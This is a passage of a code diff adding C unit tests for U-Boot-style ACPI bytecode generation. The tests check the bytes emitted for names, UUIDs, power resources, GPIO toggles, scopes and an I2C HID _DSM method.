+ ut_asserteq(107, acpigen_get_current(ctx) - ptr);
+ ut_asserteq(NAME_OP, ptr[0]);
+ ut_asserteq_strn("\\_SB_", (char *)ptr + 1);
+ ptr += 6;
+
+ ut_asserteq(NAME_OP, ptr[0]);
+ ut_asserteq('\\', ptr[1]);
+ ut_asserteq(DUAL_NAME_PREFIX, ptr[2]);
+ ut_asserteq_strn("_SB_I2C0", (char *)ptr + 3);
+ ptr += 11;
+
+ ut_asserteq(NAME_OP, ptr[0]);
+ ut_asserteq('\\', ptr[1]);
+ ut_asserteq(MULTI_NAME_PREFIX, ptr[2]);
+ ut_asserteq(3, ptr[3]);
+ ut_asserteq_strn("_SB_I2C0TPM2", (char *)ptr + 4);
+ ptr += 16;
+
+ ut_asserteq(NAME_OP, ptr[0]);
+ ut_asserteq('\\', ptr[1]);
+ ut_asserteq(MULTI_NAME_PREFIX, ptr[2]);
+ ut_asserteq(4, ptr[3]);
+ ut_asserteq_strn("_SB_I2C0TPM2LONG", (char *)ptr + 4);
+ ptr += 20;
+
+ ut_asserteq(NAME_OP, ptr[0]);
+ ut_asserteq('^', ptr[1]);
+ ut_asserteq('^', ptr[2]);
+ ut_asserteq('^', ptr[3]);
+ ut_asserteq('^', ptr[4]);
+ ut_asserteq(DUAL_NAME_PREFIX, ptr[5]);
+ ut_asserteq_strn("SPI0FLAS", (char *)ptr + 6);
+ ptr += 14;
+
+ ut_asserteq(NAME_OP, ptr[0]);
+ ut_asserteq_strn("NN__", (char *)ptr + 1);
+ ptr += 5;
+
+ ut_asserteq(NAME_OP, ptr[0]);
+ ut_asserteq('^', ptr[1]);
+ ut_asserteq(MULTI_NAME_PREFIX, ptr[2]);
+ ut_asserteq(4, ptr[3]);
+ ut_asserteq_strn("AB__CD__D___EFG_", (char *)ptr + 4);
+ ptr += 20;
+
+ ut_asserteq(NAME_OP, ptr[0]);
+ ut_asserteq('^', ptr[1]);
+ ut_asserteq('^', ptr[2]);
+ ut_asserteq('^', ptr[3]);
+ ut_asserteq('^', ptr[4]);
+ ut_asserteq(ZERO_OP, ptr[5]);
+ ptr += 6;
+
+ ut_asserteq(NAME_OP, ptr[0]);
+ ut_asserteq('\\', ptr[1]);
+ ut_asserteq(ZERO_OP, ptr[2]);
+ ptr += 3;
+
+ ut_asserteq(NAME_OP, ptr[0]);
+ ut_asserteq_strn("\\ABCD", (char *)ptr + 1);
+ ptr += 5;
+
+ free_context(&ctx);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_name, 0);
+
+/* Test writing a UUID */
+static int dm_test_acpi_uuid(struct unit_test_state *uts)
+{
+ struct acpi_ctx *ctx;
+ u8 *ptr;
+
+ ut_assertok(alloc_context(&ctx));
+
+ ptr = acpigen_get_current(ctx);
+
+ ut_assertok(acpigen_write_uuid(ctx,
+ "dbb8e3e6-5886-4ba6-8795-1319f52a966b"));
+ ut_asserteq(23, acpigen_get_current(ctx) - ptr);
+ ut_asserteq(BUFFER_OP, ptr[0]);
+ ut_asserteq(22, acpi_test_get_length(ptr + 1));
+ ut_asserteq(0xdbb8e3e6, get_unaligned((u32 *)(ptr + 7)));
+ ut_asserteq(0x5886, get_unaligned((u16 *)(ptr + 11)));
+ ut_asserteq(0x4ba6, get_unaligned((u16 *)(ptr + 13)));
+ ut_asserteq(0x9587, get_unaligned((u16 *)(ptr + 15)));
+ ut_asserteq(0x2af51913, get_unaligned((u32 *)(ptr + 17)));
+ ut_asserteq(0x6b96, get_unaligned((u16 *)(ptr + 21)));
+
+ /* Try a bad UUID */
+ ut_asserteq(-EINVAL,
+ acpigen_write_uuid(ctx,
+ "dbb8e3e6-5886-4ba6x8795-1319f52a966b"));
+
+ free_context(&ctx);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_uuid, 0);
+
+/* Test writing misc ACPI codes */
+static int dm_test_acpi_misc(struct unit_test_state *uts)
+{
+ struct acpi_ctx *ctx;
+ const int flags = 3;
+ const int nargs = 4;
+ u8 *ptr;
+
+ ut_assertok(alloc_context(&ctx));
+
+ ptr = acpigen_get_current(ctx);
+ acpigen_write_sleep(ctx, TEST_INT64);
+ ut_asserteq_64(TEST_INT64, get_unaligned((u64 *)(ptr + 3)));
+ ptr += 11;
+
+ acpigen_write_store(ctx);
+ ut_asserteq(STORE_OP, *ptr);
+ ptr++;
+
+ acpigen_write_debug_string(ctx, TEST_STRING);
+ ut_asserteq_str(TEST_STRING, (char *)ptr + 2);
+ ptr += 2 + sizeof(TEST_STRING);
+ ut_asserteq(EXT_OP_PREFIX, ptr[0]);
+ ut_asserteq(DEBUG_OP, ptr[1]);
+ ptr += 2;
+
+ acpigen_write_sta(ctx, flags);
+ ut_asserteq(METHOD_OP, ptr[0]);
+ ut_asserteq(11, acpi_test_get_length(ptr + 1));
+ ut_asserteq_strn("_STA", (char *)ptr + 4);
+ ut_asserteq(0, ptr[8]);
+ ut_asserteq(RETURN_OP, ptr[9]);
+ ut_asserteq(BYTE_PREFIX, ptr[10]);
+ ut_asserteq(flags, ptr[11]);
+ ptr += 12;
+
+ acpigen_write_sleep(ctx, TEST_INT16);
+ ut_asserteq(SLEEP_OP, ptr[1]);
+ ut_asserteq(TEST_INT16, get_unaligned((u16 *)(ptr + 3)));
+ ptr += 5;
+
+ acpigen_write_method_serialized(ctx, "FRED", nargs);
+ ut_asserteq(METHOD_OP, ptr[0]);
+ ut_asserteq_strn("FRED", (char *)ptr + 4);
+ ut_asserteq(1 << 3 | nargs, ptr[8]);
+ ut_asserteq(1, ctx->ltop); /* method is unfinished */
+
+ ptr += 9;
+ acpigen_write_or(ctx, LOCAL0_OP, LOCAL1_OP, LOCAL2_OP);
+ acpigen_write_and(ctx, LOCAL3_OP, LOCAL4_OP, LOCAL5_OP);
+ acpigen_write_not(ctx, LOCAL6_OP, LOCAL7_OP);
+ ut_asserteq(OR_OP, ptr[0]);
+ ut_asserteq(LOCAL0_OP, ptr[1]);
+ ut_asserteq(LOCAL1_OP, ptr[2]);
+ ut_asserteq(LOCAL2_OP, ptr[3]);
+
+ ptr += 4;
+ ut_asserteq(AND_OP, ptr[0]);
+ ut_asserteq(LOCAL3_OP, ptr[1]);
+ ut_asserteq(LOCAL4_OP, ptr[2]);
+ ut_asserteq(LOCAL5_OP, ptr[3]);
+
+ ptr += 4;
+ ut_asserteq(NOT_OP, ptr[0]);
+ ut_asserteq(LOCAL6_OP, ptr[1]);
+ ut_asserteq(LOCAL7_OP, ptr[2]);
+ ptr += 3;
+ ut_asserteq_ptr(ptr, ctx->current);
+
+ free_context(&ctx);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_misc, 0);
+
+/* Test writing an ACPI power resource */
+static int dm_test_acpi_power_res(struct unit_test_state *uts)
+{
+ const char *const states[] = { "_PR0", "_PR3" };
+ const char *name = "PRIC";
+ const int level = 3;
+ const int order = 2;
+ struct acpi_ctx *ctx;
+ u8 *ptr;
+
+ ut_assertok(alloc_context(&ctx));
+
+ ptr = acpigen_get_current(ctx);
+
+ /* PowerResource (PRIC, 0, 0) */
+ acpigen_write_power_res(ctx, name, level, order, states,
+ ARRAY_SIZE(states));
+ ut_asserteq(0x28, acpigen_get_current(ctx) - ptr);
+ ut_asserteq(NAME_OP, ptr[0]);
+ ut_asserteq_strn(states[0], (char *)ptr + 1);
+ ut_asserteq(8, acpi_test_get_length(ptr + 6));
+ ut_asserteq_strn(name, (char *)ptr + 0xa);
+
+ ut_asserteq_strn(states[1], (char *)ptr + 0xf);
+ ut_asserteq(8, acpi_test_get_length(ptr + 0x14));
+ ut_asserteq_strn(name, (char *)ptr + 0x18);
+
+ ut_asserteq(POWER_RES_OP, ptr[0x1d]);
+ ut_asserteq_strn(name, (char *)ptr + 0x21);
+ ut_asserteq(level, ptr[0x25]);
+ ut_asserteq(order, get_unaligned((u16 *)(ptr + 0x26)));
+
+ /* The length is not set - caller must use acpigen_pop_len() */
+ ut_asserteq(1, ctx->ltop);
+
+ free_context(&ctx);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_power_res, 0);
+
+/* Test writing ACPI code to toggle a GPIO */
+static int dm_test_acpi_gpio_toggle(struct unit_test_state *uts)
+{
+ const uint addr = 0x80012;
+ const int txbit = BIT(2);
+ struct gpio_desc desc;
+ struct acpi_gpio gpio;
+ struct acpi_ctx *ctx;
+ struct udevice *dev;
+ u8 *ptr;
+
+ ut_assertok(alloc_context(&ctx));
+
+ ut_assertok(uclass_get_device(UCLASS_TEST_FDT, 0, &dev));
+ ut_asserteq_str("a-test", dev->name);
+ ut_assertok(gpio_request_by_name(dev, "test2-gpios", 2, &desc, 0));
+ ut_assertok(gpio_get_acpi(&desc, &gpio));
+
+ /* Spot-check the results - see sb_gpio_get_acpi() */
+ ptr = acpigen_get_current(ctx);
+ acpigen_set_enable_tx_gpio(ctx, txbit, "\\_SB.GPC0", "\\_SB.SPC0",
+ &gpio, true);
+ acpigen_set_enable_tx_gpio(ctx, txbit, "\\_SB.GPC0", "\\_SB.SPC0",
+ &gpio, false);
+
+ /* Since this GPIO is active low, we expect it to be cleared here */
+ ut_asserteq(STORE_OP, *ptr);
+ ut_asserteq_strn("_SB_GPC0", (char *)ptr + 3);
+ ut_asserteq(addr + desc.offset, get_unaligned((u32 *)(ptr + 0xc)));
+ ut_asserteq(LOCAL5_OP, ptr[0x10]);
+
+ ut_asserteq(STORE_OP, ptr[0x11]);
+ ut_asserteq(BYTE_PREFIX, ptr[0x12]);
+ ut_asserteq(txbit, ptr[0x13]);
+ ut_asserteq(LOCAL0_OP, ptr[0x14]);
+
+ ut_asserteq(NOT_OP, ptr[0x15]);
+ ut_asserteq(LOCAL0_OP, ptr[0x16]);
+ ut_asserteq(LOCAL6_OP, ptr[0x17]);
+ ut_asserteq(AND_OP, ptr[0x18]);
+ ut_asserteq_strn("_SB_SPC0", (char *)ptr + 0x1e);
+ ut_asserteq(addr + desc.offset, get_unaligned((u32 *)(ptr + 0x27)));
+ ut_asserteq(LOCAL5_OP, ptr[0x2b]);
+
+ /* Now the second one, which should be set */
+ ut_asserteq_strn("_SB_GPC0", (char *)ptr + 0x2f);
+ ut_asserteq(addr + desc.offset, get_unaligned((u32 *)(ptr + 0x38)));
+ ut_asserteq(LOCAL5_OP, ptr[0x3c]);
+
+ ut_asserteq(STORE_OP, ptr[0x3d]);
+
+ ut_asserteq(OR_OP, ptr[0x41]);
+ ut_asserteq(LOCAL0_OP, ptr[0x43]);
+ ut_asserteq_strn("_SB_SPC0", (char *)ptr + 0x47);
+ ut_asserteq(addr + desc.offset, get_unaligned((u32 *)(ptr + 0x50)));
+ ut_asserteq(LOCAL5_OP, ptr[0x54]);
+ ut_asserteq(0x55, acpigen_get_current(ctx) - ptr);
+
+ free_context(&ctx);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_gpio_toggle, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test writing ACPI code to output power-sequence info */
+static int dm_test_acpi_power_seq(struct unit_test_state *uts)
+{
+ struct gpio_desc reset, enable, stop;
+ const uint addr = 0xc00dc, addr_act_low = 0x80012;
+ const int txbit = BIT(2);
+ struct acpi_ctx *ctx;
+ struct udevice *dev;
+ u8 *ptr;
+
+ ut_assertok(acpi_test_alloc_context_size(&ctx, 400));
+
+ ut_assertok(uclass_get_device(UCLASS_TEST_FDT, 0, &dev));
+ ut_asserteq_str("a-test", dev->name);
+ ut_assertok(gpio_request_by_name(dev, "test2-gpios", 0, &reset, 0));
+ ut_assertok(gpio_request_by_name(dev, "test2-gpios", 1, &enable, 0));
+ ut_assertok(gpio_request_by_name(dev, "test2-gpios", 2, &stop, 0));
+ ptr = acpigen_get_current(ctx);
+
+ ut_assertok(acpi_device_add_power_res(ctx, txbit, "\\_SB.GPC0",
+ "\\_SB.SPC0", &reset, 2, 3,
+ &enable, 4, 5, &stop, 6, 7));
+ ut_asserteq(0x186, acpigen_get_current(ctx) - ptr);
+ ut_asserteq_strn("PRIC", (char *)ptr + 0x18);
+
+ /* First the 'ON' sequence - spot check */
+ ut_asserteq_strn("_ON_", (char *)ptr + 0x38);
+
+ /* reset set */
+ ut_asserteq(addr + reset.offset, get_unaligned((u32 *)(ptr + 0x49)));
+ ut_asserteq(OR_OP, ptr[0x52]);
+
+ /* enable set */
+ ut_asserteq(addr + enable.offset, get_unaligned((u32 *)(ptr + 0x72)));
+ ut_asserteq(OR_OP, ptr[0x7b]);
+
+ /* reset clear */
+ ut_asserteq(addr + reset.offset, get_unaligned((u32 *)(ptr + 0x9f)));
+ ut_asserteq(NOT_OP, ptr[0xa8]);
+
+ /* stop set (disable, active low) */
+ ut_asserteq(addr_act_low + stop.offset,
+ get_unaligned((u32 *)(ptr + 0xcf)));
+ ut_asserteq(OR_OP, ptr[0xd8]);
+
+ /* Now the 'OFF' sequence */
+ ut_asserteq_strn("_OFF", (char *)ptr + 0xf4);
+
+ /* stop clear (enable, active low) */
+ ut_asserteq(addr_act_low + stop.offset,
+ get_unaligned((u32 *)(ptr + 0x105)));
+ ut_asserteq(NOT_OP, ptr[0x10e]);
+
+ /* reset clear */
+ ut_asserteq(addr + reset.offset, get_unaligned((u32 *)(ptr + 0x135)));
+ ut_asserteq(OR_OP, ptr[0x13e]);
+
+ /* enable clear */
+ ut_asserteq(addr + enable.offset, get_unaligned((u32 *)(ptr + 0x162)));
+ ut_asserteq(NOT_OP, ptr[0x16b]);
+
+ free_context(&ctx);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_power_seq, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test writing values */
+static int dm_test_acpi_write_values(struct unit_test_state *uts)
+{
+ struct acpi_ctx *ctx;
+ u8 *ptr;
+
+ ut_assertok(alloc_context(&ctx));
+ ptr = acpigen_get_current(ctx);
+
+ acpigen_write_zero(ctx);
+ acpigen_write_one(ctx);
+ acpigen_write_byte(ctx, TEST_INT8);
+ acpigen_write_word(ctx, TEST_INT16);
+ acpigen_write_dword(ctx, TEST_INT32);
+ acpigen_write_qword(ctx, TEST_INT64);
+
+ ut_asserteq(ZERO_OP, *ptr++);
+
+ ut_asserteq(ONE_OP, *ptr++);
+
+ ut_asserteq(BYTE_PREFIX, *ptr++);
+ ut_asserteq(TEST_INT8, *ptr++);
+
+ ut_asserteq(WORD_PREFIX, *ptr++);
+ ut_asserteq(TEST_INT16, get_unaligned((u16 *)ptr));
+ ptr += 2;
+
+ ut_asserteq(DWORD_PREFIX, *ptr++);
+ ut_asserteq(TEST_INT32, get_unaligned((u32 *)ptr));
+ ptr += 4;
+
+ ut_asserteq(QWORD_PREFIX, *ptr++);
+ ut_asserteq_64(TEST_INT64, get_unaligned((u64 *)ptr));
+ ptr += 8;
+
+ ut_asserteq_ptr(ptr, ctx->current);
+
+ free_context(&ctx);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_write_values, 0);
+
+/* Test writing a scope */
+static int dm_test_acpi_scope(struct unit_test_state *uts)
+{
+ char buf[ACPI_PATH_MAX];
+ struct acpi_ctx *ctx;
+ struct udevice *dev;
+ u8 *ptr;
+
+ ut_assertok(alloc_context(&ctx));
+ ptr = acpigen_get_current(ctx);
+
+ ut_assertok(uclass_first_device_err(UCLASS_TEST_ACPI, &dev));
+ ut_assertok(acpi_device_path(dev, buf, sizeof(buf)));
+ acpigen_write_scope(ctx, buf);
+ acpigen_pop_len(ctx);
+
+ ut_asserteq(SCOPE_OP, *ptr++);
+ ut_asserteq(13, acpi_test_get_length(ptr));
+ ptr += 3;
+ ut_asserteq(ROOT_PREFIX, *ptr++);
+ ut_asserteq(DUAL_NAME_PREFIX, *ptr++);
+ ut_asserteq_strn("_SB_" ACPI_TEST_DEV_NAME, (char *)ptr);
+ ptr += 8;
+ ut_asserteq_ptr(ptr, ctx->current);
+
+ free_context(&ctx);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_scope, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test writing a resource template */
+static int dm_test_acpi_resource_template(struct unit_test_state *uts)
+{
+ struct acpi_gen_regaddr addr;
+ struct acpi_ctx *ctx;
+ u8 *ptr;
+
+ ut_assertok(alloc_context(&ctx));
+ ptr = acpigen_get_current(ctx);
+
+ addr.space_id = ACPI_ADDRESS_SPACE_EC;
+ addr.bit_width = 32;
+ addr.bit_offset = 8;
+ addr.access_size = ACPI_ACCESS_SIZE_DWORD_ACCESS;
+ addr.addrl = TEST_INT64 & 0xffffffff;
+ addr.addrh = TEST_INT64 >> 32;
+ acpigen_write_register_resource(ctx, &addr);
+
+ ut_asserteq(BUFFER_OP, *ptr++);
+ ut_asserteq(0x17, acpi_test_get_length(ptr));
+ ptr += 3;
+ ut_asserteq(WORD_PREFIX, *ptr++);
+ ut_asserteq(0x11, get_unaligned((u16 *)ptr));
+ ptr += 2;
+ ut_asserteq(ACPI_DESCRIPTOR_REGISTER, *ptr++);
+ ut_asserteq(0xc, *ptr++);
+ ut_asserteq(0, *ptr++);
+ ut_asserteq(ACPI_ADDRESS_SPACE_EC, *ptr++);
+ ut_asserteq(32, *ptr++);
+ ut_asserteq(8, *ptr++);
+ ut_asserteq(ACPI_ACCESS_SIZE_DWORD_ACCESS, *ptr++);
+ ut_asserteq(TEST_INT64 & 0xffffffff, get_unaligned((u32 *)ptr));
+ ptr += 4;
+ ut_asserteq(TEST_INT64 >> 32, get_unaligned((u32 *)ptr));
+ ptr += 4;
+ ut_asserteq(ACPI_END_TAG, *ptr++);
+ ut_asserteq(0x00, *ptr++);
+ ut_asserteq_ptr(ptr, ctx->current);
+
+ free_context(&ctx);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_resource_template, 0);
+
+/* Test writing a device */
+static int dm_test_acpi_device(struct unit_test_state *uts)
+{
+ struct acpi_ctx *ctx;
+ u8 *ptr;
+
+ ut_assertok(alloc_context(&ctx));
+ ptr = acpigen_get_current(ctx);
+
+ acpigen_write_device(ctx, "\\_SB." ACPI_TEST_DEV_NAME);
+ acpigen_pop_len(ctx);
+
+ ut_asserteq(EXT_OP_PREFIX, *ptr++);
+ ut_asserteq(DEVICE_OP, *ptr++);
+ ut_asserteq(0xd, acpi_test_get_length(ptr));
+ ptr += 3;
+ ut_asserteq(ROOT_PREFIX, *ptr++);
+ ut_asserteq(DUAL_NAME_PREFIX, *ptr++);
+ ptr += 8;
+ ut_asserteq_ptr(ptr, ctx->current);
+
+ free_context(&ctx);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_device, 0);
+
+/* Test writing named values */
+static int dm_test_acpi_write_name(struct unit_test_state *uts)
+{
+ const char *name = "\\_SB." ACPI_TEST_DEV_NAME;
+ struct acpi_ctx *ctx;
+ u8 *ptr;
+
+ ut_assertok(alloc_context(&ctx));
+ ptr = acpigen_get_current(ctx);
+
+ acpigen_write_name_zero(ctx, name);
+ acpigen_write_name_one(ctx, name);
+ acpigen_write_name_byte(ctx, name, TEST_INT8);
+ acpigen_write_name_word(ctx, name, TEST_INT16);
+ acpigen_write_name_dword(ctx, name, TEST_INT32);
+ acpigen_write_name_qword(ctx, name, TEST_INT64);
+ acpigen_write_name_integer(ctx, name, TEST_INT64 + 1);
+ acpigen_write_name_string(ctx, name, "baldrick");
+ acpigen_write_name_string(ctx, name, NULL);
+
+ ut_asserteq(NAME_OP, *ptr++);
+ ut_asserteq_strn("\\._SB_ABCD", (char *)ptr);
+ ptr += 10;
+ ut_asserteq(ZERO_OP, *ptr++);
+
+ ut_asserteq(NAME_OP, *ptr++);
+ ptr += 10;
+ ut_asserteq(ONE_OP, *ptr++);
+
+ ut_asserteq(NAME_OP, *ptr++);
+ ptr += 10;
+ ut_asserteq(BYTE_PREFIX, *ptr++);
+ ut_asserteq(TEST_INT8, *ptr++);
+
+ ut_asserteq(NAME_OP, *ptr++);
+ ptr += 10;
+ ut_asserteq(WORD_PREFIX, *ptr++);
+ ut_asserteq(TEST_INT16, get_unaligned((u16 *)ptr));
+ ptr += 2;
+
+ ut_asserteq(NAME_OP, *ptr++);
+ ptr += 10;
+ ut_asserteq(DWORD_PREFIX, *ptr++);
+ ut_asserteq(TEST_INT32, get_unaligned((u32 *)ptr));
+ ptr += 4;
+
+ ut_asserteq(NAME_OP, *ptr++);
+ ptr += 10;
+ ut_asserteq(QWORD_PREFIX, *ptr++);
+ ut_asserteq_64(TEST_INT64, get_unaligned((u64 *)ptr));
+ ptr += 8;
+
+ ut_asserteq(NAME_OP, *ptr++);
+ ptr += 10;
+ ut_asserteq(QWORD_PREFIX, *ptr++);
+ ut_asserteq_64(TEST_INT64 + 1, get_unaligned((u64 *)ptr));
+ ptr += 8;
+
+ ut_asserteq(NAME_OP, *ptr++);
+ ptr += 10;
+ ut_asserteq(STRING_PREFIX, *ptr++);
+ ut_asserteq_str("baldrick", (char *)ptr);
+ ptr += 9;
+
+ ut_asserteq(NAME_OP, *ptr++);
+ ptr += 10;
+ ut_asserteq(STRING_PREFIX, *ptr++);
+ ut_asserteq('\0', *ptr++);
+
+ ut_asserteq_ptr(ptr, ctx->current);
+
+ free_context(&ctx);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_write_name, 0);
+
+/* Test emitting a _PRW component */
+static int dm_test_acpi_write_prw(struct unit_test_state *uts)
+{
+ struct acpi_ctx *ctx;
+ u8 *ptr;
+
+ ut_assertok(alloc_context(&ctx));
+
+ ptr = acpigen_get_current(ctx);
+ acpigen_write_prw(ctx, 5, 3);
+ ut_asserteq(NAME_OP, *ptr++);
+
+ ut_asserteq_strn("_PRW", (char *)ptr);
+ ptr += 4;
+ ut_asserteq(PACKAGE_OP, *ptr++);
+ ut_asserteq(8, acpi_test_get_length(ptr));
+ ptr += 3;
+ ut_asserteq(2, *ptr++);
+ ut_asserteq(BYTE_PREFIX, *ptr++);
+ ut_asserteq(5, *ptr++);
+ ut_asserteq(BYTE_PREFIX, *ptr++);
+ ut_asserteq(3, *ptr++);
+ ut_asserteq_ptr(ptr, ctx->current);
+
+ free_context(&ctx);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_write_prw, 0);
+
+/* Test emitting writing conditionals */
+static int dm_test_acpi_write_cond(struct unit_test_state *uts)
+{
+ struct acpi_ctx *ctx;
+ u8 *ptr;
+
+ ut_assertok(alloc_context(&ctx));
+
+ ptr = acpigen_get_current(ctx);
+ acpigen_write_if(ctx);
+ acpigen_pop_len(ctx);
+ ut_asserteq(IF_OP, *ptr++);
+ ut_asserteq(3, acpi_test_get_length(ptr));
+ ptr += 3;
+
+ acpigen_write_else(ctx);
+ acpigen_pop_len(ctx);
+ ut_asserteq(ELSE_OP, *ptr++);
+ ut_asserteq(3, acpi_test_get_length(ptr));
+ ptr += 3;
+
+ acpigen_write_if_lequal_op_int(ctx, LOCAL1_OP, 5);
+ acpigen_pop_len(ctx);
+ ut_asserteq(IF_OP, *ptr++);
+ ut_asserteq(7, acpi_test_get_length(ptr));
+ ptr += 3;
+ ut_asserteq(LEQUAL_OP, *ptr++);
+ ut_asserteq(LOCAL1_OP, *ptr++);
+ ut_asserteq(BYTE_PREFIX, *ptr++);
+ ut_asserteq(5, *ptr++);
+
+ ut_asserteq_ptr(ptr, ctx->current);
+
+ free_context(&ctx);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_write_cond, 0);
+
+/* Test emitting writing return values and ToBuffer/ToInteger */
+static int dm_test_acpi_write_return(struct unit_test_state *uts)
+{
+ int len = sizeof(TEST_STRING);
+ struct acpi_ctx *ctx;
+ u8 *ptr;
+
+ ut_assertok(alloc_context(&ctx));
+
+ ptr = acpigen_get_current(ctx);
+ acpigen_write_to_buffer(ctx, ARG0_OP, LOCAL0_OP);
+ ut_asserteq(TO_BUFFER_OP, *ptr++);
+ ut_asserteq(ARG0_OP, *ptr++);
+ ut_asserteq(LOCAL0_OP, *ptr++);
+
+ acpigen_write_to_integer(ctx, ARG0_OP, LOCAL0_OP);
+ ut_asserteq(TO_INTEGER_OP, *ptr++);
+ ut_asserteq(ARG0_OP, *ptr++);
+ ut_asserteq(LOCAL0_OP, *ptr++);
+
+ acpigen_write_return_byte_buffer(ctx, (u8 *)TEST_STRING, len);
+ ut_asserteq(RETURN_OP, *ptr++);
+ ut_asserteq(BUFFER_OP, *ptr++);
+ ut_asserteq(5 + len, acpi_test_get_length(ptr));
+ ptr += 3;
+ ut_asserteq(BYTE_PREFIX, *ptr++);
+ ut_asserteq(len, *ptr++);
+ ut_asserteq_mem(TEST_STRING, ptr, len);
+ ptr += len;
+
+ acpigen_write_return_singleton_buffer(ctx, 123);
+ len = 1;
+ ut_asserteq(RETURN_OP, *ptr++);
+ ut_asserteq(BUFFER_OP, *ptr++);
+ ut_asserteq(4 + len, acpi_test_get_length(ptr));
+ ptr += 3;
+ ut_asserteq(ONE_OP, *ptr++);
+ ut_asserteq(123, *ptr++);
+
+ acpigen_write_return_byte(ctx, 43);
+ ut_asserteq(RETURN_OP, *ptr++);
+ ut_asserteq(BYTE_PREFIX, *ptr++);
+ ut_asserteq(43, *ptr++);
+
+ ut_asserteq_ptr(ptr, ctx->current);
+
+ free_context(&ctx);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_write_return, 0);
+
+/* Test emitting a DSM for an I2C HID */
+static int dm_test_acpi_write_i2c_dsm(struct unit_test_state *uts)
+{
+ char uuid_str[UUID_STR_LEN + 1];
+ const int reg_offset = 0x20;
+ struct acpi_ctx *ctx;
+ u8 *ptr;
+
+ ut_assertok(alloc_context(&ctx));
+
+ ptr = acpigen_get_current(ctx);
+ ut_assertok(acpi_device_write_dsm_i2c_hid(ctx, reg_offset));
+
+ /* acpigen_write_dsm_start() */
+ ut_asserteq(METHOD_OP, *ptr++);
+ ut_asserteq(0x78, acpi_test_get_length(ptr));
+ ptr += 3;
+ ut_asserteq_strn("_DSM", (char *)ptr);
+ ptr += 4;
+ ut_asserteq(ACPI_METHOD_SERIALIZED_MASK | 4, *ptr++);
+
+ ut_asserteq(TO_BUFFER_OP, *ptr++);
+ ut_asserteq(ARG0_OP, *ptr++);
+ ut_asserteq(LOCAL0_OP, *ptr++);
+
+ /* acpigen_write_dsm_uuid_start() */
+ ut_asserteq(IF_OP, *ptr++);
+ ut_asserteq(0x65, acpi_test_get_length(ptr));
+ ptr += 3;
+ ut_asserteq(LEQUAL_OP, *ptr++);
+ ut_asserteq(LOCAL0_OP, *ptr++);
+
+ ut_asserteq(BUFFER_OP, *ptr++);
+ ut_asserteq(UUID_BIN_LEN + 6, acpi_test_get_length(ptr));
+ ptr += 3;
+ ut_asserteq(WORD_PREFIX, *ptr++);
+ ut_asserteq(UUID_BIN_LEN, get_unaligned((u16 *)ptr));
+ ptr += 2;
+ uuid_bin_to_str(ptr, uuid_str, UUID_STR_FORMAT_GUID);
+ ut_asserteq_str(ACPI_DSM_I2C_HID_UUID, uuid_str);
+ ptr += UUID_BIN_LEN;
+
+ ut_asserteq(TO_INTEGER_OP, *ptr++);
+ ut_asserteq(ARG2_OP, *ptr++);
+ ut_asserteq(LOCAL1_OP, *ptr++);
+
+ /* acpigen_write_dsm_uuid_start_cond() */
+ ut_asserteq(IF_OP, *ptr++);
+ ut_asserteq(0x34, acpi_test_get_length(ptr));
+ ptr += 3;
+ ut_asserteq(LEQUAL_OP, *ptr++);
+ ut_asserteq(LOCAL1_OP, *ptr++);
+ ut_asserteq(ZERO_OP, *ptr++);
+
+ /*
+ * See code from acpi_device_write_dsm_i2c_hid(). We don't check every
+ * piece
+ */
+ ut_asserteq(TO_INTEGER_OP, *ptr++);
+ ut_asserteq(ARG1_OP, *ptr++);
+ ut_asserteq(LOCAL2_OP, *ptr++);
+
+ ut_asserteq(IF_OP, *ptr++);
+ ut_asserteq(0xd, acpi_test_get_length(ptr));
+ ptr += 3;
+ ut_asserteq(LEQUAL_OP, *ptr++);
+ ut_asserteq(LOCAL2_OP, *ptr++);
+ ut_asserteq(ZERO_OP, *ptr++); /* function 0 */
+
+ ut_asserteq(RETURN_OP, *ptr++);
+ ut_asserteq(BUFFER_OP, *ptr++);
+ ptr += 5;
+
+ ut_asserteq(ELSE_OP, *ptr++);
+ ptr += 3;
+
+ ut_asserteq(IF_OP, *ptr++);
+ ut_asserteq(0xd, acpi_test_get_length(ptr));
+ ptr += 3;
+ ut_asserteq(LEQUAL_OP, *ptr++);
+ ut_asserteq(LOCAL2_OP, *ptr++);
+ ut_asserteq(ONE_OP, *ptr++);
+
+ ut_asserteq(RETURN_OP, *ptr++);
+ ut_asserteq(BUFFER_OP, *ptr++);
+ ptr += 5;
+
+ ut_asserteq(ELSE_OP, *ptr++);
+ ptr += 3;
+
+ ut_asserteq(RETURN_OP, *ptr++);
+ ut_asserteq(BUFFER_OP, *ptr++);
+ ptr += 5;
+
+ /* acpigen_write_dsm_uuid_start_cond() */
+ ut_asserteq(IF_OP, *ptr++);
+ ut_asserteq(9, acpi_test_get_length(ptr));
+ ptr += 3;
+ ut_asserteq(LEQUAL_OP, *ptr++);
+ ut_asserteq(LOCAL1_OP, *ptr++);
+ ut_asserteq(ONE_OP, *ptr++); /* function 1 */
+
+ ut_asserteq(RETURN_OP, *ptr++);
+ ut_asserteq(BYTE_PREFIX, *ptr++);
+ ut_asserteq(reg_offset, *ptr++);
+
+ /* acpigen_write_dsm_uuid_end() */
+ ut_asserteq(RETURN_OP, *ptr++);
+ ut_asserteq(BUFFER_OP, *ptr++);
+ ptr += 5;
+
+ /* acpigen_write_dsm_end */
+ ut_asserteq(RETURN_OP, *ptr++);
+ ut_asserteq(BUFFER_OP, *ptr++);
+ ptr += 5;
+
+ ut_asserteq_ptr(ptr, ctx->current);
+
+ free_context(&ctx);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_write_i2c_dsm, 0);
+
+/* Test emitting a processor */
